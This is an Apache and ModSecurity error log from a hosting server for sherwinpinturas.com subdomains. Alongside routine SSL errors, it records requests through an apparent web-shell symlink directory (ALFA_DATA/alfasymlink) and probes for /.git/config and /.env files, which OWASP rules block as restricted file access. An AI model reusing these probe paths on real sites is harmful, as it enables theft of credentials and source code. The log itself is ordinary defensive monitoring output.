[Sun Oct 25 21:42:02.228726 2026] [ssl:error] [pid 2938878:tid 2938878] (70014)End of file found: [client 54.152.163.42:52266] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:42:22.267039 2026] [ssl:error] [pid 2938878:tid 2938878] (70014)End of file found: [client 18.214.124.6:37855] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:42:26.290103 2026] [ssl:error] [pid 2938959:tid 2938959] (70014)End of file found: [client 35.171.141.42:36468] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:42:34.132189 2026] [ssl:error] [pid 2938958:tid 2938958] (70014)End of file found: [client 52.0.41.164:62300] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:42:47.289465 2026] [ssl:error] [pid 2938958:tid 2938958] (70014)End of file found: [client 185.191.171.9:30210] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:42:50.374493 2026] [security2:error] [pid 2936926:tid 2936926] [client 107.172.76.131:50006] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6wDv43GQScGTsgQfSc5QAAABU"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Sun Oct 25 21:42:50.374545 2026] [security2:error] [pid 2936926:tid 2936926] [client 107.172.76.131:50006] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6wDv43GQScGTsgQfSc5QAAABU"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Sun Oct 25 21:42:54.310547 2026] [ssl:error] [pid 2938926:tid 2938926] (70014)End of file found: [client 54.225.148.123:40544] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:43:10.138603 2026] [ssl:error] [pid 2938926:tid 2938926] (70014)End of file found: [client 100.28.118.16:37094] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:43:18.138449 2026] [ssl:error] [pid 2938957:tid 2938957] (70014)End of file found: [client 52.71.216.196:44835] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:43:24.109820 2026] [core:error] [pid 2938878:tid 2938878] (13)Permission denied: [client 185.191.171.12:10982] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma/object_size
[Sun Oct 25 21:43:26.147220 2026] [ssl:error] [pid 2932351:tid 2932351] (70014)End of file found: [client 44.215.231.15:39367] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:43:34.224862 2026] [ssl:error] [pid 2938957:tid 2938957] (70014)End of file found: [client 100.29.128.75:57844] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:43:38.061996 2026] [ssl:error] [pid 2936922:tid 2936922] (70014)End of file found: [client 185.191.171.2:44038] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:43:38.255725 2026] [ssl:error] [pid 2938904:tid 2938904] (70014)End of file found: [client 98.84.131.195:39540] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:43:38.255923 2026] [security2:error] [pid 2938904:tid 2938904] [client 98.84.131.195:39540] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/mouse1/device/uevent"] [unique_id "at6wSjrbYhOoSbkbrVN5GgAAABs"]
[Sun Oct 25 21:43:38.255954 2026] [security2:error] [pid 2938904:tid 2938904] [client 98.84.131.195:39540] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/mouse1/device/uevent"] [unique_id "at6wSjrbYhOoSbkbrVN5GgAAABs"]
[Sun Oct 25 21:43:46.240929 2026] [ssl:error] [pid 2938930:tid 2938930] (70014)End of file found: [client 23.21.148.226:60954] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:43:50.161137 2026] [ssl:error] [pid 2938940:tid 2938940] (70014)End of file found: [client 52.0.218.219:43402] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:43:57.829019 2026] [core:error] [pid 2938904:tid 2938904] (13)Permission denied: [client 85.208.96.194:37950] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark/objs_per_slab
[Sun Oct 25 21:43:58.239766 2026] [ssl:error] [pid 2938952:tid 2938952] (70014)End of file found: [client 184.73.195.18:63195] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:44:06.220280 2026] [ssl:error] [pid 2938168:tid 2938168] (70014)End of file found: [client 34.204.150.196:14458] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:44:20.811485 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 85.208.96.206:13276] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:44:22.260957 2026] [ssl:error] [pid 2938958:tid 2938958] (70014)End of file found: [client 54.147.238.89:8020] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:44:26.190711 2026] [ssl:error] [pid 2938168:tid 2938168] (70014)End of file found: [client 100.29.160.53:5826] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:44:38.218568 2026] [ssl:error] [pid 2938952:tid 2938952] (70014)End of file found: [client 35.171.117.160:12469] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:44:50.300953 2026] [core:error] [pid 2934778:tid 2934778] (13)Permission denied: [client 18.215.24.66:57141] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input1/subsystem/input4/device/subsystem/drivers_probe
[Sun Oct 25 21:45:06.157111 2026] [core:error] [pid 2938952:tid 2938952] (13)Permission denied: [client 50.16.216.166:50691] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ptmx/subsystem/tty2/subsystem/ttyS1/flags
[Sun Oct 25 21:45:22.157568 2026] [ssl:error] [pid 2938877:tid 2938877] (70014)End of file found: [client 52.2.191.202:12211] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:45:30.180035 2026] [core:error] [pid 2938952:tid 2938952] (13)Permission denied: [client 54.225.148.123:17838] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:00.0/subsystem/devices/0000:00:01.2/resource4
[Sun Oct 25 21:45:42.148212 2026] [ssl:error] [pid 2938877:tid 2938877] (70014)End of file found: [client 3.221.222.168:37627] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:45:46.247605 2026] [ssl:error] [pid 2938872:tid 2938872] (70014)End of file found: [client 54.90.8.255:7578] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:46:02.217451 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 44.214.19.8:15734] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:46:06.167761 2026] [core:error] [pid 2938959:tid 2938959] (13)Permission denied: [client 3.217.171.106:41486] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.2/subsystem/devices/0000:00:01.3/i2c-0/delete_device
[Sun Oct 25 21:46:24.031700 2026] [authz_core:error] [pid 2934778:tid 2934778] [client 40.77.167.152:22560] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 21:46:30.176138 2026] [ssl:error] [pid 2938872:tid 2938872] (70014)End of file found: [client 52.54.15.103:54029] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:46:36.920792 2026] [core:error] [pid 2938952:tid 2938952] (13)Permission denied: [client 185.191.171.13:16848] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-128/cache_dma
[Sun Oct 25 21:46:42.168189 2026] [ssl:error] [pid 2938872:tid 2938872] (70014)End of file found: [client 23.21.225.190:37251] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:46:50.330894 2026] [ssl:error] [pid 2938168:tid 2938168] (70014)End of file found: [client 44.212.145.46:50308] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:46:58.729762 2026] [ssl:error] [pid 2938877:tid 2938877] (70014)End of file found: [client 185.191.171.16:45922] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:47:01.130660 2026] [security2:error] [pid 2938926:tid 2938926] [client 172.64.198.139:12179] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at6xFWDNiM07rt0CLXuSkwAAACE"]
[Sun Oct 25 21:47:01.130936 2026] [security2:error] [pid 2938926:tid 2938926] [client 172.64.198.139:12179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at6xFWDNiM07rt0CLXuSkwAAACE"]
[Sun Oct 25 21:47:01.131247 2026] [security2:error] [pid 2938926:tid 2938926] [client 172.64.198.139:12179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at6xFWDNiM07rt0CLXuSkwAAACE"]
[Sun Oct 25 21:47:01.153754 2026] [security2:error] [pid 2925278:tid 2925278] [client 172.64.198.138:11066] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at6xFRaKu-Zjs56a5J4r1gAAAAo"]
[Sun Oct 25 21:47:01.154031 2026] [security2:error] [pid 2925278:tid 2925278] [client 172.64.198.138:11066] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at6xFRaKu-Zjs56a5J4r1gAAAAo"]
[Sun Oct 25 21:47:01.154317 2026] [security2:error] [pid 2925278:tid 2925278] [client 172.64.198.138:11066] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at6xFRaKu-Zjs56a5J4r1gAAAAo"]
[Sun Oct 25 21:47:02.032494 2026] [security2:error] [pid 2938952:tid 2938952] [client 185.191.171.8:61098] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/licenses/util-linux/COPYING.LGPLv2.1"] [unique_id "at6xFaU3Viu-sjPfXm3rCwAAADM"]
[Sun Oct 25 21:47:02.032538 2026] [security2:error] [pid 2938952:tid 2938952] [client 185.191.171.8:61098] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/licenses/util-linux/COPYING.LGPLv2.1"] [unique_id "at6xFaU3Viu-sjPfXm3rCwAAADM"]
[Sun Oct 25 21:47:22.152498 2026] [ssl:error] [pid 2938872:tid 2938872] (70014)End of file found: [client 35.153.86.200:58130] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:47:25.347081 2026] [security2:error] [pid 2938951:tid 2938951] [client 93.123.109.230:42436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at6xLd92Xqcd9zT6peEIXwAAADI"]
[Sun Oct 25 21:47:25.347243 2026] [security2:error] [pid 2938951:tid 2938951] [client 93.123.109.230:42436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at6xLd92Xqcd9zT6peEIXwAAADI"]
[Sun Oct 25 21:47:25.347458 2026] [security2:error] [pid 2938951:tid 2938951] [client 93.123.109.230:42436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at6xLd92Xqcd9zT6peEIXwAAADI"]
[Sun Oct 25 21:47:25.360125 2026] [security2:error] [pid 2938930:tid 2938930] [client 93.123.109.230:42442] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at6xLfG890ms4v-mqmcZEQAAACU"]
[Sun Oct 25 21:47:25.360271 2026] [security2:error] [pid 2938930:tid 2938930] [client 93.123.109.230:42442] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at6xLfG890ms4v-mqmcZEQAAACU"]
[Sun Oct 25 21:47:25.360552 2026] [security2:error] [pid 2938930:tid 2938930] [client 93.123.109.230:42442] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at6xLfG890ms4v-mqmcZEQAAACU"]
[Sun Oct 25 21:47:25.509330 2026] [security2:error] [pid 2938951:tid 2938951] [client 93.123.109.230:42482] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at6xLd92Xqcd9zT6peEIYAAAADI"]
[Sun Oct 25 21:47:25.509518 2026] [security2:error] [pid 2938951:tid 2938951] [client 93.123.109.230:42482] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at6xLd92Xqcd9zT6peEIYAAAADI"]
[Sun Oct 25 21:47:25.509718 2026] [security2:error] [pid 2938951:tid 2938951] [client 93.123.109.230:42482] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at6xLd92Xqcd9zT6peEIYAAAADI"]
[Sun Oct 25 21:47:25.525166 2026] [security2:error] [pid 2938930:tid 2938930] [client 93.123.109.230:42516] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at6xLfG890ms4v-mqmcZEgAAACU"]
[Sun Oct 25 21:47:25.525345 2026] [security2:error] [pid 2938930:tid 2938930] [client 93.123.109.230:42516] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at6xLfG890ms4v-mqmcZEgAAACU"]
[Sun Oct 25 21:47:25.525558 2026] [security2:error] [pid 2938930:tid 2938930] [client 93.123.109.230:42516] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at6xLfG890ms4v-mqmcZEgAAACU"]
[Sun Oct 25 21:47:25.529130 2026] [security2:error] [pid 2930612:tid 2930612] [client 93.123.109.230:42530] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at6xLZHtMtN5e4U4U0biTgAAAAI"]
[Sun Oct 25 21:47:25.529329 2026] [security2:error] [pid 2930612:tid 2930612] [client 93.123.109.230:42530] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at6xLZHtMtN5e4U4U0biTgAAAAI"]
[Sun Oct 25 21:47:25.529555 2026] [security2:error] [pid 2930612:tid 2930612] [client 93.123.109.230:42530] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at6xLZHtMtN5e4U4U0biTgAAAAI"]
[Sun Oct 25 21:47:25.530098 2026] [security2:error] [pid 2938168:tid 2938168] [client 93.123.109.230:42500] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at6xLfdm2KTysO4I86nlZQAAAAM"]
[Sun Oct 25 21:47:25.530262 2026] [security2:error] [pid 2938168:tid 2938168] [client 93.123.109.230:42500] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at6xLfdm2KTysO4I86nlZQAAAAM"]
[Sun Oct 25 21:47:25.530506 2026] [security2:error] [pid 2938168:tid 2938168] [client 93.123.109.230:42500] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at6xLfdm2KTysO4I86nlZQAAAAM"]
[Sun Oct 25 21:47:25.663143 2026] [security2:error] [pid 2925278:tid 2925278] [client 93.123.109.230:42570] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at6xLRaKu-Zjs56a5J4r2QAAAAo"]
[Sun Oct 25 21:47:25.663404 2026] [security2:error] [pid 2925278:tid 2925278] [client 93.123.109.230:42570] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at6xLRaKu-Zjs56a5J4r2QAAAAo"]
